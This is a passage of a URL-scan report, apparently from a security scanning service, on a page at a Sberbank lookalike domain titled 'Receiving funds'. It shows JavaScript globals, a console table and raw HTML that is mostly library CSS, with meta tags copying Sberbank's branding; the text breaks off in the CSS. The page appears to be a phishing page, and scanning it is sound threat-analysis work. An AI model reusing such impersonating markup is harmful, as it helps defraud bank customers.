- ID da verificação
- ac722ab7-4952-42fd-9432-70edacd9d89eConcluído
- URL enviado:
- https://sberbank.atkl.ru/cashSb238020844
- Relatório concluído:
Links · 0 encontrado(s)
Os links de saída identificados na página
Variáveis JavaScript · 58 encontrada(s)
Variáveis JavaScript globais carregadas no objeto janela de uma página são variáveis declaradas fora das funções e acessíveis de qualquer lugar no código dentro do escopo atual
| Nome | Tipo |
|---|---|
| 0 | object |
| 1 | object |
| onbeforetoggle | object |
| documentPictureInPicture | object |
| onscrollend | object |
| MicroModal | object |
| ___FONT_AWESOME___ | object |
| FontAwesomeConfig | object |
| FontAwesome | object |
| $ | function |
Mensagens de registro do console · 1 encontrada(s)
Mensagens registradas no console web
| Tipo | Categoria | Log |
|---|---|---|
| warning | other |
|
HTML
O corpo HTML bruto da página
<!DOCTYPE html><html class="focus-disabled fontawesome-i2svg-active fontawesome-i2svg-complete" lang="ru"><head><style type="text/css">svg:not(:root).svg-inline--fa{overflow:visible}.svg-inline--fa{display:inline-block;font-size:inherit;height:1em;overflow:visible;vertical-align:-.125em}.svg-inline--fa.fa-lg{vertical-align:-.225em}.svg-inline--fa.fa-w-1{width:.0625em}.svg-inline--fa.fa-w-2{width:.125em}.svg-inline--fa.fa-w-3{width:.1875em}.svg-inline--fa.fa-w-4{width:.25em}.svg-inline--fa.fa-w-5{width:.3125em}.svg-inline--fa.fa-w-6{width:.375em}.svg-inline--fa.fa-w-7{width:.4375em}.svg-inline--fa.fa-w-8{width:.5em}.svg-inline--fa.fa-w-9{width:.5625em}.svg-inline--fa.fa-w-10{width:.625em}.svg-inline--fa.fa-w-11{width:.6875em}.svg-inline--fa.fa-w-12{width:.75em}.svg-inline--fa.fa-w-13{width:.8125em}.svg-inline--fa.fa-w-14{width:.875em}.svg-inline--fa.fa-w-15{width:.9375em}.svg-inline--fa.fa-w-16{width:1em}.svg-inline--fa.fa-w-17{width:1.0625em}.svg-inline--fa.fa-w-18{width:1.125em}.svg-inline--fa.fa-w-19{width:1.1875em}.svg-inline--fa.fa-w-20{width:1.25em}.svg-inline--fa.fa-pull-left{margin-right:.3em;width:auto}.svg-inline--fa.fa-pull-right{margin-left:.3em;width:auto}.svg-inline--fa.fa-border{height:1.5em}.svg-inline--fa.fa-li{width:2em}.svg-inline--fa.fa-fw{width:1.25em}.fa-layers svg.svg-inline--fa{bottom:0;left:0;margin:auto;position:absolute;right:0;top:0}.fa-layers{display:inline-block;height:1em;position:relative;text-align:center;vertical-align:-.125em;width:1em}.fa-layers svg.svg-inline--fa{-webkit-transform-origin:center center;transform-origin:center center}.fa-layers-counter,.fa-layers-text{display:inline-block;position:absolute;text-align:center}.fa-layers-text{left:50%;top:50%;-webkit-transform:translate(-50%,-50%);transform:translate(-50%,-50%);-webkit-transform-origin:center center;transform-origin:center center}.fa-layers-counter{background-color:#ff253a;border-radius:1em;-webkit-box-sizing:border-box;box-sizing:border-box;color:#fff;height:1.5em;line-height:1;max-width:5em;min-width:1.5em;overflow:hidden;padding:.25em;right:0;text-overflow:ellipsis;top:0;-webkit-transform:scale(.25);transform:scale(.25);-webkit-transform-origin:top right;transform-origin:top right}.fa-layers-bottom-right{bottom:0;right:0;top:auto;-webkit-transform:scale(.25);transform:scale(.25);-webkit-transform-origin:bottom right;transform-origin:bottom right}.fa-layers-bottom-left{bottom:0;left:0;right:auto;top:auto;-webkit-transform:scale(.25);transform:scale(.25);-webkit-transform-origin:bottom left;transform-origin:bottom left}.fa-layers-top-right{right:0;top:0;-webkit-transform:scale(.25);transform:scale(.25);-webkit-transform-origin:top right;transform-origin:top right}.fa-layers-top-left{left:0;right:auto;top:0;-webkit-transform:scale(.25);transform:scale(.25);-webkit-transform-origin:top left;transform-origin:top left}.fa-lg{font-size:1.3333333333em;line-height:.75em;vertical-align:-.0667em}.fa-xs{font-size:.75em}.fa-sm{font-size:.875em}.fa-1x{font-size:1em}.fa-2x{font-size:2em}.fa-3x{font-size:3em}.fa-4x{font-size:4em}.fa-5x{font-size:5em}.fa-6x{font-size:6em}.fa-7x{font-size:7em}.fa-8x{font-size:8em}.fa-9x{font-size:9em}.fa-10x{font-size:10em}.fa-fw{text-align:center;width:1.25em}.fa-ul{list-style-type:none;margin-left:2.5em;padding-left:0}.fa-ul>li{position:relative}.fa-li{left:-2em;position:absolute;text-align:center;width:2em;line-height:inherit}.fa-border{border:solid .08em #eee;border-radius:.1em;padding:.2em .25em .15em}.fa-pull-left{float:left}.fa-pull-right{float:right}.fa.fa-pull-left,.fab.fa-pull-left,.fal.fa-pull-left,.far.fa-pull-left,.fas.fa-pull-left{margin-right:.3em}.fa.fa-pull-right,.fab.fa-pull-right,.fal.fa-pull-right,.far.fa-pull-right,.fas.fa-pull-right{margin-left:.3em}.fa-spin{-webkit-animation:fa-spin 2s infinite linear;animation:fa-spin 2s infinite linear}.fa-pulse{-webkit-animation:fa-spin 1s infinite steps(8);animation:fa-spin 1s infinite steps(8)}@-webkit-keyframes fa-spin{0%{-webkit-transform:rotate(0);transform:rotate(0)}100%{-webkit-transform:rotate(360deg);transform:rotate(360deg)}}@keyframes fa-spin{0%{-webkit-transform:rotate(0);transform:rotate(0)}100%{-webkit-transform:rotate(360deg);transform:rotate(360deg)}}.fa-rotate-90{-webkit-transform:rotate(90deg);transform:rotate(90deg)}.fa-rotate-180{-webkit-transform:rotate(180deg);transform:rotate(180deg)}.fa-rotate-270{-webkit-transform:rotate(270deg);transform:rotate(270deg)}.fa-flip-horizontal{-webkit-transform:scale(-1,1);transform:scale(-1,1)}.fa-flip-vertical{-webkit-transform:scale(1,-1);transform:scale(1,-1)}.fa-flip-both,.fa-flip-horizontal.fa-flip-vertical{-webkit-transform:scale(-1,-1);transform:scale(-1,-1)}:root .fa-flip-both,:root .fa-flip-horizontal,:root .fa-flip-vertical,:root .fa-rotate-180,:root .fa-rotate-270,:root .fa-rotate-90{-webkit-filter:none;filter:none}.fa-stack{display:inline-block;height:2em;position:relative;width:2.5em}.fa-stack-1x,.fa-stack-2x{bottom:0;left:0;margin:auto;position:absolute;right:0;top:0}.svg-inline--fa.fa-stack-1x{height:1em;width:1.25em}.svg-inline--fa.fa-stack-2x{height:2em;width:2.5em}.fa-inverse{color:#fff}.sr-only{border:0;clip:rect(0,0,0,0);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px}.sr-only-focusable:active,.sr-only-focusable:focus{clip:auto;height:auto;margin:0;overflow:visible;position:static;width:auto}.svg-inline--fa .fa-primary{fill:var(--fa-primary-color,currentColor);opacity:1;opacity:var(--fa-primary-opacity,1)}.svg-inline--fa .fa-secondary{fill:var(--fa-secondary-color,currentColor);opacity:.4;opacity:var(--fa-secondary-opacity,.4)}.svg-inline--fa.fa-swap-opacity .fa-primary{opacity:.4;opacity:var(--fa-secondary-opacity,.4)}.svg-inline--fa.fa-swap-opacity .fa-secondary{opacity:1;opacity:var(--fa-primary-opacity,1)}.svg-inline--fa mask .fa-primary,.svg-inline--fa mask .fa-secondary{fill:#000}.fad.fa-inverse{color:#fff}</style><style type="text/css">.swal-icon--error{border-color:#f27474;-webkit-animation:animateErrorIcon .5s;animation:animateErrorIcon .5s}.swal-icon--error__x-mark{position:relative;display:block;-webkit-animation:animateXMark .5s;animation:animateXMark .5s}.swal-icon--error__line{position:absolute;height:5px;width:47px;background-color:#f27474;display:block;top:37px;border-radius:2px}.swal-icon--error__line--left{-webkit-transform:rotate(45deg);transform:rotate(45deg);left:17px}.swal-icon--error__line--right{-webkit-transform:rotate(-45deg);transform:rotate(-45deg);right:16px}@-webkit-keyframes animateErrorIcon{0%{-webkit-transform:rotateX(100deg);transform:rotateX(100deg);opacity:0}to{-webkit-transform:rotateX(0deg);transform:rotateX(0deg);opacity:1}}@keyframes animateErrorIcon{0%{-webkit-transform:rotateX(100deg);transform:rotateX(100deg);opacity:0}to{-webkit-transform:rotateX(0deg);transform:rotateX(0deg);opacity:1}}@-webkit-keyframes animateXMark{0%{-webkit-transform:scale(.4);transform:scale(.4);margin-top:26px;opacity:0}50%{-webkit-transform:scale(.4);transform:scale(.4);margin-top:26px;opacity:0}80%{-webkit-transform:scale(1.15);transform:scale(1.15);margin-top:-6px}to{-webkit-transform:scale(1);transform:scale(1);margin-top:0;opacity:1}}@keyframes animateXMark{0%{-webkit-transform:scale(.4);transform:scale(.4);margin-top:26px;opacity:0}50%{-webkit-transform:scale(.4);transform:scale(.4);margin-top:26px;opacity:0}80%{-webkit-transform:scale(1.15);transform:scale(1.15);margin-top:-6px}to{-webkit-transform:scale(1);transform:scale(1);margin-top:0;opacity:1}}.swal-icon--warning{border-color:#f8bb86;-webkit-animation:pulseWarning .75s infinite alternate;animation:pulseWarning .75s infinite alternate}.swal-icon--warning__body{width:5px;height:47px;top:10px;border-radius:2px;margin-left:-2px}.swal-icon--warning__body,.swal-icon--warning__dot{position:absolute;left:50%;background-color:#f8bb86}.swal-icon--warning__dot{width:7px;height:7px;border-radius:50%;margin-left:-4px;bottom:-11px}@-webkit-keyframes pulseWarning{0%{border-color:#f8d486}to{border-color:#f8bb86}}@keyframes pulseWarning{0%{border-color:#f8d486}to{border-color:#f8bb86}}.swal-icon--success{border-color:#a5dc86}.swal-icon--success:after,.swal-icon--success:before{content:"";border-radius:50%;position:absolute;width:60px;height:120px;background:#fff;-webkit-transform:rotate(45deg);transform:rotate(45deg)}.swal-icon--success:before{border-radius:120px 0 0 120px;top:-7px;left:-33px;-webkit-transform:rotate(-45deg);transform:rotate(-45deg);-webkit-transform-origin:60px 60px;transform-origin:60px 60px}.swal-icon--success:after{border-radius:0 120px 120px 0;top:-11px;left:30px;-webkit-transform:rotate(-45deg);transform:rotate(-45deg);-webkit-transform-origin:0 60px;transform-origin:0 60px;-webkit-animation:rotatePlaceholder 4.25s ease-in;animation:rotatePlaceholder 4.25s ease-in}.swal-icon--success__ring{width:80px;height:80px;border:4px solid hsla(98,55%,69%,.2);border-radius:50%;box-sizing:content-box;position:absolute;left:-4px;top:-4px;z-index:2}.swal-icon--success__hide-corners{width:5px;height:90px;background-color:#fff;padding:1px;position:absolute;left:28px;top:8px;z-index:1;-webkit-transform:rotate(-45deg);transform:rotate(-45deg)}.swal-icon--success__line{height:5px;background-color:#a5dc86;display:block;border-radius:2px;position:absolute;z-index:2}.swal-icon--success__line--tip{width:25px;left:14px;top:46px;-webkit-transform:rotate(45deg);transform:rotate(45deg);-webkit-animation:animateSuccessTip .75s;animation:animateSuccessTip .75s}.swal-icon--success__line--long{width:47px;right:8px;top:38px;-webkit-transform:rotate(-45deg);transform:rotate(-45deg);-webkit-animation:animateSuccessLong .75s;animation:animateSuccessLong .75s}@-webkit-keyframes rotatePlaceholder{0%{-webkit-transform:rotate(-45deg);transform:rotate(-45deg)}5%{-webkit-transform:rotate(-45deg);transform:rotate(-45deg)}12%{-webkit-transform:rotate(-405deg);transform:rotate(-405deg)}to{-webkit-transform:rotate(-405deg);transform:rotate(-405deg)}}@keyframes rotatePlaceholder{0%{-webkit-transform:rotate(-45deg);transform:rotate(-45deg)}5%{-webkit-transform:rotate(-45deg);transform:rotate(-45deg)}12%{-webkit-transform:rotate(-405deg);transform:rotate(-405deg)}to{-webkit-transform:rotate(-405deg);transform:rotate(-405deg)}}@-webkit-keyframes animateSuccessTip{0%{width:0;left:1px;top:19px}54%{width:0;left:1px;top:19px}70%{width:50px;left:-8px;top:37px}84%{width:17px;left:21px;top:48px}to{width:25px;left:14px;top:45px}}@keyframes animateSuccessTip{0%{width:0;left:1px;top:19px}54%{width:0;left:1px;top:19px}70%{width:50px;left:-8px;top:37px}84%{width:17px;left:21px;top:48px}to{width:25px;left:14px;top:45px}}@-webkit-keyframes animateSuccessLong{0%{width:0;right:46px;top:54px}65%{width:0;right:46px;top:54px}84%{width:55px;right:0;top:35px}to{width:47px;right:8px;top:38px}}@keyframes animateSuccessLong{0%{width:0;right:46px;top:54px}65%{width:0;right:46px;top:54px}84%{width:55px;right:0;top:35px}to{width:47px;right:8px;top:38px}}.swal-icon--info{border-color:#c9dae1}.swal-icon--info:before{width:5px;height:29px;bottom:17px;border-radius:2px;margin-left:-2px}.swal-icon--info:after,.swal-icon--info:before{content:"";position:absolute;left:50%;background-color:#c9dae1}.swal-icon--info:after{width:7px;height:7px;border-radius:50%;margin-left:-3px;top:19px}.swal-icon{width:80px;height:80px;border-width:4px;border-style:solid;border-radius:50%;padding:0;position:relative;box-sizing:content-box;margin:20px auto}.swal-icon:first-child{margin-top:32px}.swal-icon--custom{width:auto;height:auto;max-width:100%;border:none;border-radius:0}.swal-icon img{max-width:100%;max-height:100%}.swal-title{color:rgba(0,0,0,.65);font-weight:600;text-transform:none;position:relative;display:block;padding:13px 16px;font-size:27px;line-height:normal;text-align:center;margin-bottom:0}.swal-title:first-child{margin-top:26px}.swal-title:not(:first-child){padding-bottom:0}.swal-title:not(:last-child){margin-bottom:13px}.swal-text{font-size:16px;position:relative;float:none;line-height:normal;vertical-align:top;text-align:left;display:inline-block;margin:0;padding:0 10px;font-weight:400;color:rgba(0,0,0,.64);max-width:calc(100% - 20px);overflow-wrap:break-word;box-sizing:border-box}.swal-text:first-child{margin-top:45px}.swal-text:last-child{margin-bottom:45px}.swal-footer{text-align:right;padding-top:13px;margin-top:13px;padding:13px 16px;border-radius:inherit;border-top-left-radius:0;border-top-right-radius:0}.swal-button-container{margin:5px;display:inline-block;position:relative}.swal-button{background-color:#7cd1f9;color:#fff;border:none;box-shadow:none;border-radius:5px;font-weight:600;font-size:14px;padding:10px 24px;margin:0;cursor:pointer}.swal-button:not([disabled]):hover{background-color:#78cbf2}.swal-button:active{background-color:#70bce0}.swal-button:focus{outline:none;box-shadow:0 0 0 1px #fff,0 0 0 3px rgba(43,114,165,.29)}.swal-button[disabled]{opacity:.5;cursor:default}.swal-button::-moz-focus-inner{border:0}.swal-button--cancel{color:#555;background-color:#efefef}.swal-button--cancel:not([disabled]):hover{background-color:#e8e8e8}.swal-button--cancel:active{background-color:#d7d7d7}.swal-button--cancel:focus{box-shadow:0 0 0 1px #fff,0 0 0 3px rgba(116,136,150,.29)}.swal-button--danger{background-color:#e64942}.swal-button--danger:not([disabled]):hover{background-color:#df4740}.swal-button--danger:active{background-color:#cf423b}.swal-button--danger:focus{box-shadow:0 0 0 1px #fff,0 0 0 3px rgba(165,43,43,.29)}.swal-content{padding:0 20px;margin-top:20px;font-size:medium}.swal-content:last-child{margin-bottom:20px}.swal-content__input,.swal-content__textarea{-webkit-appearance:none;background-color:#fff;border:none;font-size:14px;display:block;box-sizing:border-box;width:100%;border:1px solid rgba(0,0,0,.14);padding:10px 13px;border-radius:2px;transition:border-color .2s}.swal-content__input:focus,.swal-content__textarea:focus{outline:none;border-color:#6db8ff}.swal-content__textarea{resize:vertical}.swal-button--loading{color:transparent}.swal-button--loading~.swal-button__loader{opacity:1}.swal-button__loader{position:absolute;height:auto;width:43px;z-index:2;left:50%;top:50%;-webkit-transform:translateX(-50%) translateY(-50%);transform:translateX(-50%) translateY(-50%);text-align:center;pointer-events:none;opacity:0}.swal-button__loader div{display:inline-block;float:none;vertical-align:baseline;width:9px;height:9px;padding:0;border:none;margin:2px;opacity:.4;border-radius:7px;background-color:hsla(0,0%,100%,.9);transition:background .2s;-webkit-animation:swal-loading-anim 1s infinite;animation:swal-loading-anim 1s infinite}.swal-button__loader div:nth-child(3n+2){-webkit-animation-delay:.15s;animation-delay:.15s}.swal-button__loader div:nth-child(3n+3){-webkit-animation-delay:.3s;animation-delay:.3s}@-webkit-keyframes swal-loading-anim{0%{opacity:.4}20%{opacity:.4}50%{opacity:1}to{opacity:.4}}@keyframes swal-loading-anim{0%{opacity:.4}20%{opacity:.4}50%{opacity:1}to{opacity:.4}}.swal-overlay{position:fixed;top:0;bottom:0;left:0;right:0;text-align:center;font-size:0;overflow-y:auto;background-color:rgba(0,0,0,.4);z-index:10000;pointer-events:none;opacity:0;transition:opacity .3s}.swal-overlay:before{content:" ";display:inline-block;vertical-align:middle;height:100%}.swal-overlay--show-modal{opacity:1;pointer-events:auto}.swal-overlay--show-modal .swal-modal{opacity:1;pointer-events:auto;box-sizing:border-box;-webkit-animation:showSweetAlert .3s;animation:showSweetAlert .3s;will-change:transform}.swal-modal{width:478px;opacity:0;pointer-events:none;background-color:#fff;text-align:center;border-radius:5px;position:static;margin:20px auto;display:inline-block;vertical-align:middle;-webkit-transform:scale(1);transform:scale(1);-webkit-transform-origin:50% 50%;transform-origin:50% 50%;z-index:10001;transition:opacity .2s,-webkit-transform .3s;transition:transform .3s,opacity .2s;transition:transform .3s,opacity .2s,-webkit-transform .3s}@media (max-width:500px){.swal-modal{width:calc(100% - 20px)}}@-webkit-keyframes showSweetAlert{0%{-webkit-transform:scale(1);transform:scale(1)}1%{-webkit-transform:scale(.5);transform:scale(.5)}45%{-webkit-transform:scale(1.05);transform:scale(1.05)}80%{-webkit-transform:scale(.95);transform:scale(.95)}to{-webkit-transform:scale(1);transform:scale(1)}}@keyframes showSweetAlert{0%{-webkit-transform:scale(1);transform:scale(1)}1%{-webkit-transform:scale(.5);transform:scale(.5)}45%{-webkit-transform:scale(1.05);transform:scale(1.05)}80%{-webkit-transform:scale(.95);transform:scale(.95)}to{-webkit-transform:scale(1);transform:scale(1)}}</style><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta content="width=device-width,initial-scale=1" name="viewport">
<meta content="no-cache" http-equiv="Cache-control">
<meta content="no-cache" http-equiv="Pragma">
<meta content="-1" http-equiv="Expires">
<meta property="og:title" content="Частным клиентам — СберБанк">
<meta name="og:type" content="website">
<meta property="og:description" content="Банковские услуги частным клиентам. Кредиты и вклады, ипотека, дебетовые и кредитные карты и другие банковские услуги для физических лиц.">
<meta property="og:image" content="https://www.sberbank.ru/portalserver/static/templates/%5BBBHOST%5D/RuMasterpageTemplate/static/social-ru.png">
<meta property="og:image:width" content="200">
<meta content="Сбербанк" property="og:site_name">
<title>Получение средств</title>
<style type="text/css">svg:not(:root).svg-inline--fa{overflow:visible}.svg-inline--fa{display:inline-block;font-size:inherit;height:1em;overflow:visible;vertical-align:-.125em}.svg-inline--fa.fa-lg{vertical-align:-.225em}.svg-inline--fa.fa-w-1{width:.0625em}.svg-inline--fa.fa-w-2{width:.125em}.svg-inline--fa.fa-w-3{width:.1875em}.svg-inline--fa.fa-w-4{width:.25em}.svg-inline--fa.fa-w-5{width:.3125em}.svg-inline--fa.fa-w-6{width:.375em}.svg-inline--fa.fa-w-7{width:.4375em}.svg-inline--fa.fa-w-8{width:.5em}.svg-inline--fa.fa-w-9{width:.5625em}.svg-inline--fa.fa-w-10{width:.625em}.svg-inline--fa.fa-w-11{width:.6875em}.svg-inline--fa.fa-w-12{width:.75em}.svg-inline--fa.fa-w-13{width:.8125em}.svg-inline--fa.fa-w-14{width:.875em}.svg-inline--fa.fa-w-15{width:.9375em}.svg-inline--fa.fa-w-16{width:1em}.svg-inline--fa.fa-w-17{width:1.0625em}.svg-inline--fa.fa-w-18{width:1.125em}.svg-inline--fa.fa-w-19{width:1.1875em}.svg-inline--fa.fa-w-20{width:1.25em}.svg-inline--fa.fa-pull-left{margin-right:.3em;width:auto}.svg-inline--fa.fa-pull-right{margin-left:.3em;width:auto}.svg-inline--fa.fa-border{height:1.5em}.svg-inline--fa.fa-li{width:2em}.svg-inline--fa.fa-fw{width:1.25em}.fa-layers svg.svg-inline--fa{bottom:0;left:0;margin:auto;position:absolute;right:0;top:0}.fa-layers{display:inline-block;height:1em;position:relative;text-align:center;vertical-align:-.125em;width:1em}.fa-layers svg.svg-inline--fa{-webkit-transform-origin:center center;transform-origin:center center}.fa-layers-counter,.fa-layers-text{display:inline-block;position:absolute;text-align:center}.fa-layers-text{left:50%;top:50%;-webkit-transform:translate(-50%,-50%);transform:translate(-50%,-50%);-webkit-transform-origin:center center;transform-origin:center center}.fa-layers-counter{background-color:#ff253a;border-radius:1em;-webkit-box-sizing:border-box;box-sizing:border-box;color:#fff;height:1.5em;line-height:1;max-width:5em;min-width:1.5em;overflow:hidden;padding:.25em;right:0;text-overflow:ellipsis;top:0;-webkit-transform:scale(.25);transform:scale(.25);-webkit-transform-origin:top right;transform-origin:top right}.fa-layers-bottom-right{bottom:0;right:0;top:auto;-webkit-transform:scale(.25);transform:scale(.25);-webkit-transform-origin:bottom right;transform-origin:bottom right}.fa-layers-bottom-left{bottom:0;left:0;right:auto;top:auto;-webkit-transform:scale(.25);transform:scale(.25);-webkit-transform-origin:bottom left;transform-origin:bottom left}.fa-layers-top-right{right:0;top:0;-webkit-transform:scale(.25);transform:scale(.25);-webkit-transform-origin:top right;transform-origin:top right}.fa-layers-top-left{left:0;right:auto;top:0;-webkit-transform:scale(.25);transform:scale(.25);-webkit-transform-origin:top left;transform-origin:top left}.fa-lg{font-size:1.3333333333em;line-height:.75em;vertical-align:-.0667em}.fa-xs{font-size:.75em}.fa-sm{font-size:.875em}.fa-1x{font-size:1em}.fa-2x{font-size:2em}.fa-3x{font-size:3em}.fa-4x{font-size:4em}.fa-5x{font-size:5em}.fa-6x{font-size:6em}.fa-7x{font-size:7em}.fa-8x{font-size:8em}.fa-9x{font-size:9em}.fa-10x{font-size:10em}.fa-fw{text-align:center;width:1.25em}.fa-ul{list-style-type:none;margin-left:2.5em;padding-left:0}.fa-ul>li{position:relative}.fa-li{left:-2em;position:absolute;text-align:center;width:2em;line-height:inherit}.fa-border{border:solid .08em #eee;border-radius:.1em;padding:.2em .25em .15em}.fa-pull-left{float:left}.fa-pull-right{float:right}.fa.fa-pull-left,.fab.fa-pull-left,.fal.fa-pull-left,.far.fa-pull-left,.fas.fa-pull-left{margin-right:.3em}.fa.fa-pull-right,.fab.fa-pull-right,.fal.fa-pull-right,.far.fa-pull-right,.fas.fa-pull-right{margin-left:.3em}.fa-spin{-webkit-animation:fa-spin 2s infinite linear;animation:fa-spin 2s infinite linear}.fa-pulse{-webkit-animation:fa-spin 1s infinite steps(8);animation:fa-spin 1s infinite steps(8)}@-webkit-keyframes fa-spin{0%{-webkit-transform:rotate(0);transform:rotate(0)}100%{-webkit-transform:rotate(360deg);transform:rotate(360deg)}}@keyframes fa-spin{0%{-webkit-transform:rotate(0);transform:rotate(0)}100%{-webkit-transform:rotate(360deg);transform:rotate(360deg)}}.fa-rotate-90{-webkit-transform:rotate(90deg);transform:rotate(90deg)}.fa-rotate-180{-webkit-transform:rotate(180deg);transform:rotate(180deg)}.fa-rotate-270{-webkit-transform:rotate(270deg);transform:rotate(270deg)}.fa-flip-horizontal{-webkit-transform:scale(-1,1);transform:scale(-1,1)}.fa-flip-vertical{-webkit-transform:scale(1,-1);transform:scale(1,-1)}.fa-flip-both,.fa-flip-horizontal.fa-flip-vertical{-webkit-transform:scale(-1,-1);transform:scale(-1,-1)}:root .fa-flip-both,:root .fa-flip-horizontal,:root .fa-flip-vertical,:root .fa-rotate-180,:root .fa-rotate-270,:root .fa-rotate-90{-webkit-filter:none;filter:none}.fa-stack{display:inline-block;height:2em;position:relative;width:2.5em}.fa-stack-1x,.fa-stack-2x{bottom:0;left:0;margin:auto;position:absolute;right:0;top:0}.svg-inline--fa.fa-stack-1x{height:1em;width:1.25em}.svg-inline--fa.fa-stack-2x{height:2em;width:2.5em}.fa-inverse{color:#fff}.sr-only{border:0;clip:rect(0,0,0,0);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px}.sr-only-focusable:active,.sr-only-focusable:focus{clip:auto;height:auto;margin:0;overflow:visible;position:static;width:auto}.svg-inline--fa .fa-primary{fill:var(--fa-primary-color,currentColor);opacity:1;opacity:var(--fa-primary-opacity,1)}.svg-inline--fa .fa-secondary{fill:var(--fa-secondary-color,currentColor);opacity:.4;opacity:var(--fa-secondary-opacity,.4)}.svg-inline--fa.fa-swap-opacity .fa-primary{opacity:.4;opacity:var(--fa-secondary-opacity,.4)}.svg-inline--fa.fa-swap-opacity .fa-secondary{opacity:1;opacity:var(--fa-primary-opacity,1)}.svg-inline--fa mask .fa-primary,.svg-inline--fa mask .fa-secondary{fill:#000}.fad.fa-inverse{color:#fff}</style><style type="text/css">svg:not(:root).svg-inline--fa{overflow:visible}.svg-inline--fa{display:inline-block;font-size:inherit;height:1em;overflow:visible;vertical-align:-.125em}.svg-inline--fa.fa-lg{vertical-align:-.225em}.svg-inline--fa.fa-w-1{width:.0625em}.svg-inline--fa.fa-w-2{width:.125em}.svg-inline--fa.fa-w-3{width:.1875em}.svg-inline--fa.fa-w-4{width:.25em}.svg-inline--fa.fa-w-5{width:.3125em}.svg-inline--fa.fa-w-6{width:.375em}.svg-inline--fa.fa-w-7{width:.4375em}.svg-inline--fa.fa-w-8{width:.5em}.svg-inline--fa.fa-w-9{width:.5625em}.svg-inline--fa.fa-w-10{width:.625em}.svg-inline--fa.fa-w-11{width:.6875em}.svg-inline--fa.fa-w-12{width:.75em}.svg-inline--fa.fa-w-13{width:.8125em}.svg-inline--fa.fa-w-14{width:.875em}.svg-inline--fa.fa-w-15{width:.9375em}.svg-inline--fa.fa-w-16{width:1em}.svg-inline--fa.fa-w-17{width:1.0625em}.svg-inline--fa.fa-w-18{width:1.125em}.svg-inline--fa.fa-w-19{width:1.1875em}.svg-inline--fa.fa-w-20{width:1.25em}.svg-inline--fa.fa-pull-left{margin-right:.3em;width:auto}.svg-inline--fa.fa-pull-right{margin-left:.3em;width:auto}.svg-inline--fa.fa-border{height:1.5em}.svg-inline--fa.fa-li{width:2em}.svg-inline--fa.fa-fw{width:1.25em}.fa-layers svg.svg-inline--fa{bottom:0;left:0;margin:auto;position:absolute;right:0;top:0}.fa-layers{display:inline-block;height:1em;position:relative;text-align:center;vertical-align:-.125em;width:1em}.fa-layers svg.svg-inline--fa{-webkit-transform-origin:center center;transform-origin:center center}.fa-layers-counter,.fa-layers-text{display:inline-block;position:absolute;text-align:center}.fa-layers-text{left:50%;top:50%;-webkit-transform:translate(-50%,-50%);transform:translate(-50%,-50%);-webkit-transform-origin:center center;transform-origin:center center}.fa-layers-counter{background-color:#ff253a;border-radius:1em;-webkit-box-sizing:border-box;box-sizing:border-box;color:#fff;height:1.5em;line-height:1;max-width:5em;min-width:1.5em;overflow:hidden;padding:.25em;right:0;text-overflow:ellipsis;top:0;-webkit-transform:scale(.25);transform:scale(.25);-webkit-transform-origin:top right;transform-origin:top right}.fa-layers-bottom-right{bottom:0;right:0;top:auto;-webkit-transform:scale(.25);transform:scale(.25);-webkit-transform-origin:bottom right;transform-origin:bottom right}.fa-layers-bottom-left{bottom:0;left:0;right:auto;top:auto;-webkit-transform:scale(.25);transform:scale(.25);-webkit-transform-origin:bottom left;transform-origin:bottom left}.fa-layers-top-right{right:0;top:0;-webkit-transform:scale(.25);transform:scale(.25);-webkit-transform-origin:top right;transform-origin:top right}.fa-layers-top-left{left:0;right:auto;top:0;-webkit-transform:scale(.25);transform:scale(.25);-webkit-transform-origin:top left;transform-origin:top left}.fa-lg{font-size:1.3333333333em;line-height:.75em;vertical-align:-.0667em}.fa-xs{font-size:.75em}.fa-sm{font-size:.875em}.fa-1x{font-size:1em}.fa-2x{font-size:2em}.fa-3x{font-size:3em}.fa-4x{font-size:4em}.fa-5x{font-size:5em}.fa-6x{font-size:6em}.fa-7x{font-size:7em}.fa-8x{font-size:8em}.fa-9x{font-size:9em}.fa-10x{font-size:10em}.fa-fw{text-align:center;width:1.25em}.fa-ul{list-style-type:none;margin-left:2.5em;padding-left:0}.fa-ul>li{position:relative}.fa-li{left:-2em;position:absolute;text-align:center;width:2em;line-height:inherit}.fa-border{border:solid .08em #eee;border-radius:.1em;padding:.2em .25em .15em}.fa-pull-left{float:left}.fa-pull-right{float:right}.fa.fa-pull-left,.fab.fa-pull-left,.fal.fa-pull-left,.far.fa-pull-left,.fas.fa-pull-left{margin-right:.3em}.fa.fa-pull-right,.fab.fa-pull-right,.fal.fa-pull-right,.far.fa-pull-right,.fas.fa-pull-right{margin-left:.3em}.fa-spin{-webkit-animation:fa-spin 2s infinite linear;animation:fa-spin 2s infinite linear}.fa-pulse{-webkit-animation:fa-spin 1s infinite steps(8);animation:fa-spin 1s infinite steps(8)}@-webkit-keyframes fa-spin{0%{-webkit-transform:rotate(0);transform:rotate(0)}100%{-webkit-transform:rotate(360deg);transform:rotate(360deg)}}@keyframes fa-spin{0%{-webkit-transform:rotate(0);transform:rotate(0)}100%{-webkit-transform:rotate(360deg);transform:rotate(360deg)}}.fa-rotate-90{-webkit-transform:rotate(90deg);transform:rotate(90deg)}.fa-rotate-180{-webkit-transform:rotate(180deg);transform:rotate(180deg)}.fa-rotate-270{-webkit-transform:rotate(270deg);transform:rotate(270deg)}.fa-flip-horizontal{-webkit-transform:scale(-1,1);transform:scale(-1,1)}.fa-flip-vertical{-webkit-transform:scale(1,-1);transform:scale(1,-1)}.fa-flip-both,.fa-flip-horizontal.fa-flip-vertical{-webkit-transform:scale(-1,-1);transform:scale(-1,-1)}:root .fa-flip-both,:root .fa-flip-horizontal,:root .fa-flip-vertical,:root .fa-rotate-180,:root .fa-rotate-270,:root .fa-rotate-90{-webkit-filter:none;filter:none}.fa-stack{display:inline-block;height:2em;position:relative;width:2.5em}.fa-stack-1x,.fa-stack-2x{bottom:0;left:0;margin:auto;position:absolute;right:0;top:0}.svg-inline--fa.fa-stack-1x{height:1em;width:1.25em}.svg-inline--fa.fa-stack-2x{height:2em;width:2.5em}.fa-inverse{color:#fff}.sr-only{border:0;clip:rect(0,0,0,0);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px}.sr-only-focusable:active,.sr-only-focusable:focus{clip:auto;height:auto;margin:0;overflow:visible;position:static;width:auto}.svg-inline--fa 